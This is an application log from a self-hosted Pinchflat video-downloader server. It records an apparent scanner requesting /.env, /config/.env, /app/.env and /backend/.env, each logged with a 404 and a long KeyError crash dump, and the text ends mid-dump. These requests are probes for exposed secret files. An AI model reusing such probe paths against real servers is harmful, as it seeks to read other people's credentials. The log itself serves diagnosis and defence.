21:34:20.523 [info] {"source":"oban","duration":3007,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:34:50.528 [info] {"source":"oban","duration":3098,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:35:00.213 [info] {"source":"oban","duration":740,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:35:20.533 [info] {"source":"oban","duration":3118,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:35:50.543 [info] {"source":"oban","duration":4319,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:36:00.215 [info] {"source":"oban","duration":557,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:36:20.555 [info] {"source":"oban","duration":3420,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:36:24.944 [info] GET /config/.env 21:36:24.991 [debug] QUERY OK source="settings" db=1.6ms queue=0.1ms idle=1113.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:36:24.994 [debug] QUERY OK source="settings" db=1.2ms queue=0.1ms idle=1127.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:36:24.999 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:36:25.021 [error] #PID<0.36560.0> running PinchflatWeb.Endpoint (connection #PID<0.36559.0>, stream id 1) terminated Server: youtube.plexultra.com:443 (http) Request: GET /config/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36559.0>, port: 443, scheme: "http", version: :"HTTP/1.1", path: "/config/.env", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 47240}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "youtube.plexultra.com:443", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko, Yokohama Institute of Information Security https://www.iisec.ac.jp) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com:443", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "youtube.plexultra.com", method: "GET", owner: #PID<0.36560.0>, params: %{}, path_info: ["config", ""], path_params: %{}, port: 443, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://youtube.plexultra.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {198, 18, 13, 14}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "youtube.plexultra.com:443"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko, Yokohama Institute of Information Security https://www.iisec.ac.jp) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "198.18.13.1"}, {"x-forwarded-host", "youtube.plexultra.com:443"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "7e50a363a8b5"}, {"x-real-ip", "198.18.13.1"} ], request_path: "/config/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNHMgc88b1udgAcAAV8E"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36559.0>, port: 443, scheme: "http", version: :"HTTP/1.1", path: "/config/.env", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 47240}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "youtube.plexultra.com:443", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko, Yokohama Institute of Information Security https://www.iisec.ac.jp) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com:443", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36559.0>, port: 443, scheme: "http", version: :"HTTP/1.1", path: "/config/.env", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 47240}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "youtube.plexultra.com:443", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko, Yokohama Institute of Information Security https://www.iisec.ac.jp) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com:443", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "youtube.plexultra.com", method: "GET", owner: #PID<0.36560.0>, params: %{}, path_info: ["config", ""], path_params: %{}, port: 443, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://youtube.plexultra.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {198, 18, 13, 14}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "youtube.plexultra.com:443"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel (truncated) 21:36:25.330 [info] GET /app/.env 21:36:25.333 [debug] QUERY OK source="settings" db=0.7ms queue=0.1ms idle=1072.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:36:25.334 [debug] QUERY OK source="settings" db=1.1ms queue=0.1ms idle=464.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:36:25.334 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:36:25.336 [error] #PID<0.36561.0> running PinchflatWeb.Endpoint (connection #PID<0.36559.0>, stream id 2) terminated Server: youtube.plexultra.com:443 (http) Request: GET /app/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /app/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36559.0>, port: 443, scheme: "http", version: :"HTTP/1.1", path: "/app/.env", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 47240}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "youtube.plexultra.com:443", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko, Yokohama Institute of Information Security https://www.iisec.ac.jp) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com:443", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 2, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "youtube.plexultra.com", method: "GET", owner: #PID<0.36561.0>, params: %{}, path_info: ["app", ""], path_params: %{}, port: 443, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://youtube.plexultra.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {198, 18, 13, 14}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "youtube.plexultra.com:443"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko, Yokohama Institute of Information Security https://www.iisec.ac.jp) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "198.18.13.1"}, {"x-forwarded-host", "youtube.plexultra.com:443"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "7e50a363a8b5"}, {"x-real-ip", "198.18.13.1"} ], request_path: "/app/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNHMgeZb5hDMF_EAAVWD"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36559.0>, port: 443, scheme: "http", version: :"HTTP/1.1", path: "/app/.env", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 47240}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "youtube.plexultra.com:443", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko, Yokohama Institute of Information Security https://www.iisec.ac.jp) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com:443", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 2, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /app/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36559.0>, port: 443, scheme: "http", version: :"HTTP/1.1", path: "/app/.env", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 47240}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "youtube.plexultra.com:443", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko, Yokohama Institute of Information Security https://www.iisec.ac.jp) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com:443", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 2, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "youtube.plexultra.com", method: "GET", owner: #PID<0.36561.0>, params: %{}, path_info: ["app", ""], path_params: %{}, port: 443, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://youtube.plexultra.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {198, 18, 13, 14}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "youtube.plexultra.com:443"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebK (truncated) 21:36:25.708 [info] GET /.env 21:36:25.709 [debug] QUERY OK source="settings" db=0.4ms idle=727.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:36:25.710 [debug] QUERY OK source="settings" db=0.1ms idle=715.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:36:25.710 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:36:25.710 [error] #PID<0.36562.0> running PinchflatWeb.Endpoint (connection #PID<0.36559.0>, stream id 3) terminated Server: youtube.plexultra.com:443 (http) Request: GET /.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36559.0>, port: 443, scheme: "http", version: :"HTTP/1.1", path: "/.env", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 47240}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "youtube.plexultra.com:443", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko, Yokohama Institute of Information Security https://www.iisec.ac.jp) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com:443", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 3, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "youtube.plexultra.com", method: "GET", owner: #PID<0.36562.0>, params: %{}, path_info: [""], path_params: %{}, port: 443, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://youtube.plexultra.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {198, 18, 13, 14}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "youtube.plexultra.com:443"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko, Yokohama Institute of Information Security https://www.iisec.ac.jp) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "198.18.13.1"}, {"x-forwarded-host", "youtube.plexultra.com:443"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "7e50a363a8b5"}, {"x-real-ip", "198.18.13.1"} ], request_path: "/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNHMgfzozVBTsSoAAVWj"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36559.0>, port: 443, scheme: "http", version: :"HTTP/1.1", path: "/.env", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 47240}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "youtube.plexultra.com:443", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko, Yokohama Institute of Information Security https://www.iisec.ac.jp) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com:443", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 3, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36559.0>, port: 443, scheme: "http", version: :"HTTP/1.1", path: "/.env", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 47240}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "youtube.plexultra.com:443", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko, Yokohama Institute of Information Security https://www.iisec.ac.jp) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com:443", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 3, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "youtube.plexultra.com", method: "GET", owner: #PID<0.36562.0>, params: %{}, path_info: [""], path_params: %{}, port: 443, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://youtube.plexultra.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {198, 18, 13, 14}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "youtube.plexultra.com:443"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko, Yokohama Ins (truncated) 21:36:25.978 [info] GET / 21:36:25.979 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 21:36:25.981 [debug] QUERY OK source="settings" db=0.3ms idle=716.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:36:25.984 [debug] QUERY OK source="media_profiles" db=2.5ms idle=649.2ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 21:36:25.986 [debug] QUERY OK source="sources" db=1.1ms idle=650.4ms SELECT count(s0."id") FROM "sources" AS s0 [] 21:36:26.056 [info] GET /backend/.env 21:36:26.057 [debug] QUERY OK source="settings" db=0.1ms queue=0.1ms idle=347.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:36:26.058 [debug] QUERY OK source="settings" db=0.4ms idle=76.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:36:26.058 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:36:26.058 [error] #PID<0.36565.0> running PinchflatWeb.Endpoint (connection #PID<0.36564.0>, stream id 1) terminated Server: youtube.plexultra.com:443 (http) Request: GET /backend/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /backend/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36564.0>, port: 443, scheme: "http", version: :"HTTP/1.1", path: "/backend/.env", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 47248}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "youtube.plexultra.com:443", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko, Yokohama Institute of Information Security https://www.iisec.ac.jp) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com:443", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "youtube.plexultra.com", method: "GET", owner: #PID<0.36565.0>, params: %{}, path_info: ["backend", ""], path_params: %{}, port: 443, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://youtube.plexultra.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {198, 18, 13, 14}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "youtube.plexultra.com:443"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko, Yokohama Institute of Information Security https://www.iisec.ac.jp) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "198.18.13.1"}, {"x-forwarded-host", "youtube.plexultra.com:443"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "7e50a363a8b5"}, {"x-real-ip", "198.18.13.1"} ], request_path: "/backend/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNHMghGpX9xWlUIAAVXj"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36564.0>, port: 443, scheme: "http", version: :"HTTP/1.1", path: "/backend/.env", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 47248}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "youtube.plexultra.com:443", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko, 